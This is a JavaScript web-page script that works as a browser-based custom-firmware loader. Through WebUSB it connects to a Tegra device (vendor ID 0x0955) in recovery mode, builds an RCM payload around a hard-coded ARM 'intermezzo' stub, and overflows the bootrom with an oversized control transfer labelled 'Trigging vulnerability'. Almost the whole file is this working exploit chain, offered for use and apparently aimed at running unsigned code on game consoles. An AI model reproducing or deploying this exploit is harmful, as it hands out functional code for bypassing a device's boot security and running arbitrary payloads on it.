function logOutput(...message) {
document.getElementById("output").innerHTML =
document.getElementById("output").innerHTML + message.join(" ") + "
";
}
function clearLog() {
document.getElementById("output").innerHTML = "";
}
async function getPayloadList() {
return fetch("payloads/payloads.json")
.then((response) => {
if (!response.ok) throw new Error(response.status);
return response.json();
})
.then((data) => {
return data.payloads;
});
}
(async () => {
const payloadSelect = document.getElementById("payloadSelect");
let payloadList;
try {
payloadList = await getPayloadList();
} catch (error) {
logOutput(
"There was a problem retreiving the payload list. Error: " + error,
);
return;
}
payloadList.forEach((payload) => {
const payloadOption = document.createElement("option");
payloadOption.value = payload.path;
payloadOption.innerHTML = payload.name + " " + payload.version;
payloadSelect.appendChild(payloadOption);
});
})();
async function getPayload(payloadSrc) {
return fetch(payloadSrc).then((response) => {
if (!response.ok) throw new Error(response.status);
return response.arrayBuffer();
});
}
const intermezzo = new Uint8Array([
0x44, 0x00, 0x9f, 0xe5, 0x01, 0x11, 0xa0, 0xe3, 0x40, 0x20, 0x9f, 0xe5, 0x00,
0x20, 0x42, 0xe0, 0x08, 0x00, 0x00, 0xeb, 0x01, 0x01, 0xa0, 0xe3, 0x10, 0xff,
0x2f, 0xe1, 0x00, 0x00, 0xa0, 0xe1, 0x2c, 0x00, 0x9f, 0xe5, 0x2c, 0x10, 0x9f,
0xe5, 0x02, 0x28, 0xa0, 0xe3, 0x01, 0x00, 0x00, 0xeb, 0x20, 0x00, 0x9f, 0xe5,
0x10, 0xff, 0x2f, 0xe1, 0x04, 0x30, 0x90, 0xe4, 0x04, 0x30, 0x81, 0xe4, 0x04,
0x20, 0x52, 0xe2, 0xfb, 0xff, 0xff, 0x1a, 0x1e, 0xff, 0x2f, 0xe1, 0x20, 0xf0,
0x01, 0x40, 0x5c, 0xf0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01,
0x40,
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001f000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
const intermezzoAddressRepeatCount =
(INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
const rcmPayloadSize =
Math.ceil(
(0x2a8 +
0x4 * intermezzoAddressRepeatCount +
0x1000 +
payload.byteLength) /
0x1000,
) * 0x1000;
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize));
const rcmPayloadView = new DataView(rcmPayload.buffer);
rcmPayloadView.setUint32(0x0, rcmLength, true);
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
rcmPayloadView.setUint32(0x2a8 + i * 4, INTERMEZZO_LOCATION, true);
}
rcmPayload.set(intermezzo, 0x2a8 + 0x4 * intermezzoAddressRepeatCount);
rcmPayload.set(payload, 0x2a8 + 0x4 * intermezzoAddressRepeatCount + 0x1000);
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
result += data.getUint8(i).toString(16).padStart(2, "0");
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
const packetSize = 0x1000;
while (length) {
const dataToTransmit = Math.min(length, packetSize);
length -= dataToTransmit;
const chunk = data.slice(0, dataToTransmit);
data = data.slice(dataToTransmit);
await device.transferOut(1, chunk);
writeCount++;
}
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
reader.onload = (e) => {
res(e.target.result);
};
reader.readAsArrayBuffer(file);
});
}
let device;
async function launchPayload(payload) {
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
if (device.configuration === null) {
await device.selectConfiguration(1);
}
await device.claimInterface(0);
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
logOutput("Payload sent!");
if (writeCount % 2 !== 1) {
logOutput("Switching to higher buffer...");
await device.transferOut(1, new ArrayBuffer(0x1000));
}
logOutput("Trigging vulnerability...");
const vulnerabilityLength = 0x7000;
const smash = await device.controlTransferIn(
{
requestType: "standard",
recipient: "interface",
request: 0x00,
value: 0x00,
index: 0x00,
},
vulnerabilityLength,
);
}
document.getElementById("goButton").addEventListener("click", async () => {
clearLog();
var debugCheckbox = document.getElementById("shouldDebug");
const payloadPath = document.getElementById("payloadSelect").value;
if (!debugCheckbox.checked) {
if (!navigator.usb) {
logOutput(
"Your browser doesn't support Web USB, Web CFW Loader will not work!",
);
return;
}
logOutput("Requesting access to device...");
try {
device = await navigator.usb.requestDevice({
filters: [{ vendorId: 0x0955 }],
});
} catch (error) {
console.log(error);
logOutput("Failed to get a device. Did you chose one?");
return;
}
}
let payload;
if (payloadPath === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
logOutput('Using uploaded payload "' + file.name + '"');
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
try {
payload = new Uint8Array(await getPayload(payloadPath));
} catch (error) {
logOutput("There was a problem retreiving the payload. Error: " + error);
return;
}
}
if (debugCheckbox.checked) {
logOutput("Logging payload bytes...");
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog;
logOutput(payloadToLog);
return;
}
logOutput(
`Preparing to launch ${payloadPath}...`,
);
launchPayload(payload);
});
function onSelectChange() {
if (document.getElementById("payloadSelect").value === "uploaded")
document.getElementById("uploadContainer").style.display = "block";
else document.getElementById("uploadContainer").style.display = "none";
}
function openInfo() {
if (document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}
function openInstructions() {
if (document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}